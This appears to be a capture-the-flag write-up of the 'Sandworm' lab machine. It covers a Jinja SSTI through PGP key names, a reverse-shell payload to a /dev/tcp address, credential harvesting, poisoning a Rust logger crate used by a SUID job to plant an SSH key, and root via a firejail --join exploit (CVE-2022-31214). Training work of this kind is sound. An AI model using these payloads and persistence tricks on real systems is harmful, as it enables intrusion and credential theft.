Sandworm
Recon
HTTPs (443)
HTTP redirects us to HTTPs, and we can encrypt data using PGP.

/guide
allows playing around with PGP encryption.
Download their public key
└─$ curl https://ssa.htb/pgp -skLo atlas_pubkey.asc
https://pranabdas.github.io/linux/pgp/https://tldr.inbrowser.app/pages/common/gpg
└─$ gpg --import pubkey.asc
gpg: key C61D429110B625D4: public key "SSA (Official PGP Key of the Secret Spy Agency.) <atlas@ssa.htb>" imported
gpg: Total number processed: 1
gpg: imported: 1
Let's generate the key
gpg (GnuPG) 2.2.40; Copyright (C) 2022 g10 Code GmbH
Real name: Letmein
Email address: let@me.in
gpg: directory '/home/x/.gnupg/openpgp-revocs.d' created
gpg: revocation certificate stored as '/home/x/.gnupg/openpgp-revocs.d/EDC4214135E9B708D376EB1B2A1EE6D56BF67EC8.rev'
public and secret key created and signed.
pub rsa3072 2024-12-09 [SC] [expires: 2026-12-09]
EDC4214135E9B708D376EB1B2A1EE6D56BF67EC8
uid Letmein <let@me.in>
sub rsa3072 2024-12-09 [E] [expires: 2026-12-09]
└─$ echo test > test.txt
└─$ gpg --clearsign test.txt
└─$ cat test.txt.asc
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512
test
-----BEGIN PGP SIGNATURE-----
iQGzBAEBCgAdFiEE7cQhQTXptwjTdusbKh7m1Wv2fsgFAmdWrqkACgkQKh7m1Wv2
fsjFhQv/UJkGRZYT45LGNuFyB/M24MmFwwAGIkYWXc/rfAzSdyf0XRT8/lWXrQFh
Te7Gfpjfm0LI/fcCG2ua6lPsBNKBPmRp4/osdgNyIAhl/xlDIKKId37pOKKjlJUF
NCigaYiV0dybfD0qcIpmtA5HRbV9Op7biTX/mB7Bz1QdPh9nrfJutTeTxoOxH4AE
T5YJuw4tojNPx3fipA+QLsP3kbxapgxAReseP45ZjNu+MRCVlyosV/e4Gf5d3eLj
ZseSI2VBEccLjwpMwhMNvmwbEZryKvlPEOutXFxpg2ZvjX3EIgfQY+zBMdGO+6cH
8giKbe2HWCx90eMslYy/TWQJ2jvLN5Zdq4tlPuGbxY4E1si558U6OIqmV5jckY9Y
O4BeL2Hupqti2YQQGZ6a++g9OyDQtGijAm1lmyV605paO/TmKYVqr7FVapORgU0G
+MPwWmgSenwRxQ6E6qD4QhoYZfDQTaaALjurUq8AwXNbf03pjr4SH+65ZrmK37+R
a317Zd2N
=a+ZG
-----END PGP SIGNATURE-----
Get your public key
└─$ gpg --export --armor let@me.in > letmein_pubkey.asc

SSTI
This started smelling like SSTI, so I created script to automatically do the magic for us.
import gnupg
from pathlib import Path
import readline
import requests
import re
EMAIL = 'let@me.in'
PASSWORD = 'Password123$'
TEMP_PATH = Path('/tmp/gnupg')
URL = 'https://ssa.htb/process'
def generate_key(real_name, email, password):
input_data = gpg.gen_key_input(
name_real=real_name,
name_email=email,
key_type="RSA",
key_length=3072,
expire_date="2y",
passphrase=password
)
key = gpg.gen_key(input_data)
return key
def sign_file(content, key_id):
signed_data = gpg.sign(content, keyid=key_id, clearsign=True)
return signed_data.data
def export_public_key(key_id):
public_key = gpg.export_keys(key_id)
return public_key
if __name__ == "__main__":
TEMP_PATH.mkdir(exist_ok=True)
gpg = gnupg.GPG(gnupghome=TEMP_PATH)
key = generate_key(input('Username: '), EMAIL, PASSWORD)
signed_data = sign_file(EMAIL, key.fingerprint).decode()
# print(signed_data)
exported_key = export_public_key(key.fingerprint)
# print(exported_key)
resp = requests.post(URL, data={'signed_text': signed_data, 'public_key': exported_key}, verify=False)
# print(resp.text)
match = re.search(r'\[GNUPG:\] GOODSIG [0-9A-F]* (.*) <.*>', resp.text).group(1)
print(match)
SSTI is confirmed
└─$ py pgp_enc.py
Username: {{7*7}}
...
[GNUPG:] GOODSIG F1C3ECF34329A2F8 49 <let@me.in>
Username: {{config}}
<Config {'ENV': 'production', 'DEBUG': False, 'TESTING': False, 'PROPAGATE_EXCEPTIONS': None, 'SECRET_KEY': '91668c1bc67132e3dcfb5b1a3e0c5c21', 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(days=31), 'USE_X_SENDFILE': False, 'SERVER_NAME': None, 'APPLICATION_ROOT': '/', 'SESSION_COOKIE_NAME': 'session', 'SESSION_COOKIE_DOMAIN': False, 'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_HTTPONLY': True, 'SESSION_COOKIE_SECURE': False, 'SESSION_COOKIE_SAMESITE': None, 'SESSION_REFRESH_EACH_REQUEST': True, 'MAX_CONTENT_LENGTH': None, 'SEND_FILE_MAX_AGE_DEFAULT': None, 'TRAP_BAD_REQUEST_ERRORS': None, 'TRAP_HTTP_EXCEPTIONS': False, 'EXPLAIN_TEMPLATE_LOADING': False, 'PREFERRED_URL_SCHEME': 'http', 'JSON_AS_ASCII': None, 'JSON_SORT_KEYS': None, 'JSONIFY_PRETTYPRINT_REGULAR': None, 'JSONIFY_MIMETYPE': None, 'TEMPLATES_AUTO_RELOAD': None, 'MAX_COOKIE_SIZE': 4093, 'SQLALCHEMY_DATABASE_URI': 'mysql://atlas:GarlicAndOnionZ42@127.0.0.1:3306/SSA', 'SQLALCHEMY_ENGINE_OPTIONS': {}, 'SQLALCHEMY_ECHO': False, 'SQLALCHEMY_BINDS': {}, 'SQLALCHEMY_RECORD_QUERIES': False, 'SQLALCHEMY_TRACK_MODIFICATIONS': False}>
No luck with SSH.
Reverse Shell (atlas) (Jail)
Username: {{ cycler.__init__.__globals__.os.popen('/bin/bash -c "/bin/bash -i >& /dev/tcp/10.10.14.113/4444 0>&1"') }}
---
atlas@sandworm:/var/www/html/SSA$ id
uid=1000(atlas) gid=1000(atlas) groups=1000(atlas)
MySQL
atlas@sandworm:/var/www/html/SSA/SSA/submissions$ python3 -c "from sqlalchemy import create_engine,text; print([db[0] for db in create_engine('mysql://atlas:GarlicAndOnionZ42@127.0.0.1:3306/SSA').connect().execute(text('SHOW DATABASES')).fetchall()])"
['SSA', 'information_schema', 'performance_schema']
atlas@sandworm:/var/www/html/SSA/SSA/submissions$ python3 -c "from sqlalchemy import create_engine, text; print([tb[0] for tb in create_engine('mysql://atlas:GarlicAndOnionZ42@127.0.0.1:3306/SSA').connect().execute(text('SHOW TABLES')).fetchall()])"
['users']
atlas@sandworm:/var/www/html/SSA/SSA/submissions$ python3 -c "from sqlalchemy import create_engine, text; [print(row) for row in create_engine('mysql://atlas:GarlicAndOnionZ42@127.0.0.1:3306/SSA').connect().execute(text('SELECT * FROM users')).fetchall()]"
(1, 'Odin', 'pbkdf2:sha256:260000$q0WZMG27Qb6XwVlZ$12154640f87817559bd450925ba3317f93914dc22e2204ac819b90d60018bc1f')
(2, 'silentobserver', 'pbkdf2:sha256:260000$kGd27QSYRsOtk7Zi$0f52e0aa1686387b54d9ea46b2ac97f9ed030c27aac4895bed89cb3a4e09482d')
I don't think we are cracking these passwords any time soon....
Enumeration
Upgrading shell fails
└─$ ssh-keygen -f id_rsa -P x -q && cat id_rsa.pub
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHChBZSdb3LLMtS76C+O0QeXeavorZMe50Ox2Wh2oHj1 woyag@kraken
---
atlas@sandworm:~$ echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHChBZSdb3LLMtS76C+O0QeXeavorZMe50Ox2Wh2oHj1 woyag@kraken' >> ~/.ssh/authorized_keys
bash: /home/atlas/.ssh/authorized_keys: Read-only file system
There's httpie
credentials in user's directory and firejail
but no access.
atlas@sandworm:~/.config$ ls -AlhR
.:
total 4.0K
dr-------- 2 nobody nogroup 40 Dec 9 07:58 firejail
drwxrwxr-x 3 nobody atlas 4.0K Jan 15 2023 httpie
ls: cannot open directory './firejail': Permission denied
./httpie:
total 4.0K
drwxrwxr-x 3 nobody atlas 4.0K Jan 15 2023 sessions
./httpie/sessions:
total 4.0K
drwxrwx--- 2 nobody atlas 4.0K May 4 2023 localhost_5000
./httpie/sessions/localhost_5000:
total 4.0K
-rw-r--r-- 1 nobody atlas 611 May 4 2023 admin.json
atlas@sandworm:~/.config$ cat ./htt*/*/*/*
{
"__meta__": {
"about": "HTTPie session file",
"help": "https://httpie.io/docs#sessions",
"httpie": "2.6.0"
},
"auth": {
"password": "quietLiketheWind22",
"type": null,
"username": "silentobserver"
},
"cookies": {
"session": {
"expires": null,
"path": "/",
"secure": false,
"value": "eyJfZmxhc2hlcyI6W3siIHQiOlsibWVzc2FnZSIsIkludmFsaWQgY3JlZGVudGlhbHMuIl19XX0.Y-I86w.JbELpZIwyATpR58qg1MGJsd6FkA"
}
},
"headers": {
"Accept": "application/json, */*;q=0.5"
}
}
We can login in the admin portal

SSH (22)
We are also able to login in real machine with these credentials
└─$ sshpass -p 'quietLiketheWind22' ssh silentobserver@ssa.htb
silentobserver@sandworm:~$ id
uid=1001(silentobserver) gid=1001(silentobserver) groups=1001(silentobserver)
User.txt
silentobserver@sandworm:~$ cat user.txt
863af5fb311517faf59a6ee09c2b5137
Privilege Escalation (atlas)
silentobserver@sandworm:~$ sudo -l
Sorry, user silentobserver may not run sudo on localhost.
Check for internal applications.
silentobserver@sandworm:~$ ss -utnlp4
Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
udp UNCONN 0 0 127.0.0.53%lo:53 0.0.0.0:*
udp UNCONN 0 0 0.0.0.0:68 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.53%lo:53 0.0.0.0:*
tcp LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
tcp LISTEN 0 511 0.0.0.0:443 0.0.0.0:*
tcp LISTEN 0 70 127.0.0.1:33060 0.0.0.0:*
tcp LISTEN 0 128 127.0.0.1:5000 0.0.0.0:*
tcp LISTEN 0 151 127.0.0.1:3306 0.0.0.0:*
tcp LISTEN 0 511 0.0.0.0:80 0.0.0.0:*
80, 443 and 5000 is GPG application, 3306 is mysql, but 33060
is unknown.
silentobserver@sandworm:/etc/nginx/sites-enabled$ cat ssa
server {
listen 80;
server_name 0.0.0.0;
return 301 https://ssa.htb$request_uri;
}
server {
listen 443 ssl;
server_name ssa.htb;
ssl_certificate /root/domain.crt;
ssl_certificate_key /root/domain.key;
ssl_protocols TLSv1 TLSv1.1 TLSv1.2;
ssl_prefer_server_ciphers on;
ssl_ciphers ECDHE-RSA-AES256-GCM-SHA384:ECDHE-RSA-AES128-GCM-SHA256:DHE-RSA-AES256-GCM-SHA384:DHE-RSA-AES128-GCM-SHA256:ECDHE-RSA-AES256-SHA384:ECDHE-RSA-AES128-SHA256:ECDHE-RSA-AES256-SHA:ECDHE-RSA-AES128-SHA:DHE-RSA-AES256-SHA256:DHE-RSA-AES128-SHA256:DHE-RSA-AES256-SHA:DHE-RSA-AES128-SHA;
location / {
proxy_pass http://127.0.0.1:5000;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
}
}
The application seems to be living in /opt/tipnet
silentobserver@sandworm:/opt/tipnet$ find -ls 2>/dev/null | grep -vE 'debug'
5969 4 drwxr-xr-x 5 root atlas 4096 Jun 6 2023 .
17914 4 -rw-r--r-- 1 root atlas 288 May 4 2023 ./Cargo.toml
9194 4 drwxr-xr-- 6 root atlas 4096 Jun 6 2023 ./.git
8653 4 -rwxr-xr-- 1 root atlas 8 Feb 8 2023 ./.gitignore
14999 4 drwxr-xr-x 3 root atlas 4096 Jun 6 2023 ./target
15000 4 -rwxr-xr-- 1 root atlas 177 Feb 8 2023 ./target/CACHEDIR.TAG
15001 4 -rwxr-xr-- 1 root atlas 1035 Feb 8 2023 ./target/.rustc_info.json
14996 4 drwxr-xr-x 2 root atlas 4096 Jun 6 2023 ./src
15956 8 -rwxr-xr-- 1 root atlas 5795 May 4 2023 ./src/main.rs
9188 48 -rw-r--r-- 1 root atlas 46161 May 4 2023 ./Cargo.lock
7213 40 -rw-rw-r-- 1 atlas atlas 33301 Dec 9 11:16 ./access.log
silentobserver@sandworm:/opt/tipnet/src$ cat main.rs
extern crate logger;
use sha2::{Digest, Sha256};
use chrono::prelude::*;
use mysql::*;
use mysql::prelude::*;
use std::fs;
use std::process::Command;
use std::io;
// We don't spy on you... much.
struct Entry { timestamp: String, target: String, source: String, data: String }
fn main() {
let mode = get_mode();
if mode == "" { return; }
else if mode != "upstream" && mode != "pull" { println!("[-] Mode is still being ported to Rust; try again later."); return; }
let mut conn = connect_to_db("Upstream").unwrap();
if mode == "pull" {
let source = "/var/www/html/SSA/SSA/submissions";
pull_indeces(&mut conn, source);
println!("[+] Pull complete.");
return;
}
println!("Enter keywords to perform the query:");
let mut keywords = String::new();
io::stdin().read_line(&mut keywords).unwrap();
if keywords.trim() == "" { println!("[-] No keywords selected.\n\n[-] Quitting...\n"); return; }
println!("Justification for the search:");
let mut justification = String::new();
io::stdin().read_line(&mut justification).unwrap();
// Get Username
let output = Command::new("/usr/bin/whoami").output().expect("nobody");
let username = String::from_utf8(output.stdout).unwrap();
let username = username.trim();
if justification.trim() == "" {
println!("[-] No justification provided. TipNet is under 702 authority; queries don't need warrants, but need to be justified. This incident has been logged and will be reported.");
logger::log(username, keywords.as_str().trim(), "Attempted to query TipNet without justification.");
return;
}
logger::log(username, keywords.as_str().trim(), justification.as_str());
search_sigint(&mut conn, keywords.as_str().trim());
}
fn get_mode() -> String {
let valid = false;
let mut mode = String::new();
while ! valid {
mode.clear();
println!("Select mode of usage:");
print!("a) Upstream \nb) Regular (WIP)\nc) Emperor (WIP)\nd) SQUARE (WIP)\ne) Refresh Indeces\n");
io::stdin().read_line(&mut mode).unwrap();
match mode.trim() {
"a" => { println!("\n[+] Upstream selected"); return "upstream".to_string(); }
"b" => { println!("\n[+] Muscular selected"); return "regular".to_string(); }
"c" => { println!("\n[+] Tempora selected"); return "emperor".to_string(); }
"d" => { println!("\n[+] PRISM selected"); return "square".to_string(); }
"e" => { println!("\n[!] Refreshing indeces!"); return "pull".to_string(); }
"q" | "Q" => { println!("\n[-] Quitting"); return "".to_string(); }
_ => { println!("\n[!] Invalid mode: {}", mode); }
}
}
return mode;
}
fn connect_to_db(db: &str) -> Result<mysql::PooledConn> {
let url = "mysql://tipnet:4The_Greater_GoodJ4A@localhost:3306/Upstream";
let pool = Pool::new(url).unwrap();
let mut conn = pool.get_conn().unwrap();
return Ok(conn);
}
fn search_sigint(conn: &mut mysql::PooledConn, keywords: &str) {
let keywords: Vec<&str> = keywords.split(" ").collect();
let mut query = String::from("SELECT timestamp, target, source, data FROM SIGINT WHERE ");
for (i, keyword) in keywords.iter().enumerate() {
if i > 0 { query.push_str("OR "); }
query.push_str(&format!("data LIKE '%{}%' ", keyword));
}
let selected_entries = conn.query_map(
query, |(timestamp, target, source, data)| { Entry { timestamp, target, source, data } },).expect("Query failed.");
for e in selected_entries {
println!("[{}] {} ===> {} | {}", e.timestamp, e.source, e.target, e.data);
}
}
fn pull_indeces(conn: &mut mysql::PooledConn, directory: &str) {
let paths = fs::read_dir(directory)
.unwrap()
.filter_map(|entry| entry.ok())
.filter(|entry| entry.path().extension().unwrap_or_default() == "txt")
.map(|entry| entry.path());
let stmt_select = conn.prep("SELECT hash FROM tip_submissions WHERE hash = :hash").unwrap();
let stmt_insert = conn.prep("INSERT INTO tip_submissions (timestamp, data, hash) VALUES (:timestamp, :data, :hash)").unwrap();
let now = Utc::now();
for path in paths {
let contents = fs::read_to_string(path).unwrap();
let hash = Sha256::digest(contents.as_bytes());
let hash_hex = hex::encode(hash);
let existing_entry: Option<String> = conn.exec_first(&stmt_select, params! { "hash" => &hash_hex }).unwrap();
if existing_entry.is_none() {
let date = now.format("%Y-%m-%d").to_string();
println!("[+] {}\n", contents);
conn.exec_drop(&stmt_insert, params! { "timestamp" => date, "data" => contents, "hash" => &hash_hex, },).unwrap();
}
}
logger::log("ROUTINE", " - ", "Pulling fresh submissions into database.");
}
We have tipnet
mysql credentials, but it's not a user and database doesn't have anything.
silentobserver@sandworm:/opt/tipnet/src$ grep sh$ /etc/passwd
root:x:0:0:root:/root:/bin/bash
silentobserver:x:1001:1001::/home/silentobserver:/bin/bash
atlas:x:1000:1000::/home/atlas:/bin/bash
Binary is compiled inside /target/debug
and has SUID bit set on.
silentobserver@sandworm:/opt/tipnet/target/debug$ ls -Alh
total 57M
drwxrwxr-x 142 atlas atlas 12K Jun 6 2023 build
-rwxrwxr-- 1 root atlas 0 Feb 8 2023 .cargo-lock
drwxrwxr-x 2 atlas atlas 68K Jun 6 2023 deps
drwxrwxr-x 2 atlas atlas 4.0K Jun 6 2023 examples
drwxrwxr-- 472 root atlas 24K Jun 6 2023 .fingerprint
drwxrwxr-x 6 atlas atlas 4.0K Jun 6 2023 incremental
-rwsrwxr-x 2 atlas atlas 57M Jun 6 2023 tipnet
-rw-rw-r-- 1 atlas atlas 87 May 4 2023 tipnet.d
It seems to be running every 2 minutes
silentobserver@sandworm:/opt/tipnet$ tail access.log
[2024-12-09 16:42:02] - User: ROUTINE, Query: - , Justification: Pulling fresh submissions into database.
[2024-12-09 16:44:02] - User: ROUTINE, Query: - , Justification: Pulling fresh submissions into database.
[2024-12-09 16:46:01] - User: ROUTINE, Query: - , Justification: Pulling fresh submissions into database.
[2024-12-09 16:48:01] - User: ROUTINE, Query: - , Justification: Pulling fresh submissions into database.
[2024-12-09 16:50:01] - User: ROUTINE, Query: - , Justification: Pulling fresh submissions into database.
[2024-12-09 16:52:01] - User: ROUTINE, Query: - , Justification: Pulling fresh submissions into database.
[2024-12-09 16:54:02] - User: ROUTINE, Query: - , Justification: Pulling fresh submissions into database.
[2024-12-09 16:56:02] - User: ROUTINE, Query: - , Justification: Pulling fresh submissions into database.
[2024-12-09 16:56:29] - User: ROUTINE, Query: - , Justification: Pulling fresh submissions into database.
[2024-12-09 16:57:11] - User: ROUTINE, Query: - , Justification: Pulling fresh submissions into database.
program.d
files are used for dependency tracking (?)
silentobserver@sandworm:/opt/tipnet/target/debug$ cat tipnet.d
/opt/tipnet/target/debug/tipnet: /opt/crates/logger/src/lib.rs /opt/tipnet/src/main.rs
We have write access to lib.rs
silentobserver@sandworm:/opt/tipnet/target/debug$ ls -lh /opt/crates/logger/src/lib.rs /opt/tipnet/src/main.rs
-rw-rw-r-- 1 atlas silentobserver 732 May 4 2023 /opt/crates/logger/src/lib.rs
-rwxr-xr-- 1 root atlas 5.7K May 4 2023 /opt/tipnet/src/main.rs
Upgrade to SSH:
└─$ ssh-keygen -f id_rsa -P x -q && cat id_rsa.pub
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDsjX1qMF3UkC2cArfByZ8EyZqzdgOarqvzJoYXardHf woyag@kraken
use std::fs::OpenOptions;
use std::io::Write;
#[allow(unused_variables)]
pub fn log(user: &str, query: &str, justification: &str) {
let mut file = OpenOptions::new()
.create(true)
.append(true)
.open("/home/atlas/.ssh/authorized_keys")
.expect("Failed to open or create the log file");
file.write_all("ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDsjX1qMF3UkC2cArfByZ8EyZqzdgOarqvzJoYXardHf woyag@kraken".as_bytes())
.expect("Failed to write to the log file");
}
silentobserver@sandworm:/opt/tipnet$ echo 'dXNlIHN0ZDo6ZnM6Ok9wZW5PcHRpb25zOw0KdXNlIHN0ZDo6aW86OldyaXRlOw0KI1thbGxvdyh1bnVzZWRfdmFyaWFibGVzKV0NCnB1YiBmbiBsb2codXNlcjogJnN0ciwgcXVlcnk6ICZzdHIsIGp1c3RpZmljYXRpb246ICZzdHIpIHsNCiAgICBsZXQgbXV0IGZpbGUgPSBPcGVuT3B0aW9uczo6bmV3KCkNCiAgICAgICAgLmNyZWF0ZSh0cnVlKQ0KICAgICAgICAuYXBwZW5kKHRydWUpDQogICAgICAgIC5vcGVuKCIvaG9tZS9hdGxhcy8uc3NoL2F1dGhvcml6ZWRfa2V5cyIpDQogICAgICAgIC5leHBlY3QoIkZhaWxlZCB0byBvcGVuIG9yIGNyZWF0ZSB0aGUgbG9nIGZpbGUiKTsNCg0KICAgIGZpbGUud3JpdGVfYWxsKCJzc2gtZWQyNTUxOSBBQUFBQzNOemFDMWxaREkxTlRFNUFBQUFJRHNqWDFxTUYzVWtDMmNBcmZCeVo4RXlacXpkZ09hcnF2ekpvWVhhcmRIZiB3b3lhZ0BrcmFrZW4iLmFzX2J5dGVzKCkpDQogICAgICAgIC5leHBlY3QoIkZhaWxlZCB0byB3cml0ZSB0byB0aGUgbG9nIGZpbGUiKTsNCn0NCg==' | base64 -d > /opt/crates/logger/src/lib.rs; echo 'e' | /opt/tipnet/target/debug/tipnet >/dev/null
└─$ ssh atlas@ssa.htb -i id_rsa
atlas@sandworm:~$ id
uid=1000(atlas) gid=1000(atlas) groups=1000(atlas),1002(jailer)
Privilege Escalation (root)
This user previously was jailed and is also part of jailer
group.
atlas@sandworm:~/.config/firejail$ cat webapp.profile
noblacklist /var/run/mysqld/mysqld.sock
hostname sandworm
seccomp
noroot
allusers
caps.drop dac_override,fowner,setuid,setgid
seccomp.drop chmod,fchmod,setuid
private-tmp
private-opt none
private-dev
private-bin /usr/bin/python3,/usr/local/bin/gpg,/bin/bash,/usr/bin/flask,/usr/local/sbin/gpg,/usr/bin/groups,/usr/bin/base64,/usr/bin/lesspipe,/usr/bin/basename,/usr/bin/filename,/usr/bin/bash,/bin/sh,/usr/bin/ls,/usr/bin/cat,/usr/bin/id,/usr/local/libexec/scdaemon,/usr/local/bin/gpg-agent
#blacklist ${HOME}/.ssh
#blacklist /opt
blacklist /home/silentobserver
whitelist /var/www/html/SSA
read-write /var/www/html/SSA/SSA/submissions
noexec /var/www/html/SSA/SSA/submissions
read-only ${HOME}
read-write ${HOME}/.gnupg
It's a SUID binary
atlas@sandworm:~/.config/firejail$ find / -group jailer -ls 2>/dev/null
1344 1740 -rwsr-x--- 1 root jailer 1777952 Nov 29 2022 /usr/local/bin/firejail
atlas@sandworm:~/.config/firejail$ firejail --version
firejail version 0.9.68
Subject: firejail: local root exploit reachable via --join logic (CVE-2022-31214)
└─$ curl https://www.openwall.com/lists/oss-security/2022/06/08/10/1 -so firejoin.py
└─$ scp -i id_rsa firejoin.py atlas@ssa.htb:/tmp/
atlas@sandworm:~/.config/firejail$ tmux
atlas@sandworm:~/.config/firejail$ chmod +x /tmp/firejoin.py
atlas@sandworm:~/.config/firejail$ python3 /tmp/firejoin.py
You can now run 'firejail --join=12686' in another terminal to obtain a shell where 'sudo su -' should grant you a root shell.
# If you're already in tmux then do HANDLE+HANDLE+ACTION
# So split pane horizontally -> Ctrl+Ctrl+"
# Jump up or down -> Ctrl+Ctrl+UpArrow/DownArrow
atlas@sandworm:~/.config/firejail$ firejail --join=12686
changing root to /proc/12686/root
Warning: cleaning all supplementary groups
Child process initialized in 6.23 ms
atlas@sandworm:~/.config/firejail$ sudo su -
atlas is not in the sudoers file. This incident will be reported.
atlas@sandworm:~/.config/firejail$ su -
root@sandworm:~# id
uid=0(root) gid=0(root) groups=0(root)
Root.txt
root@sandworm:~# cat /root/root.txt
067268615dfea2400e4b7f7ef3b1f778
Last updated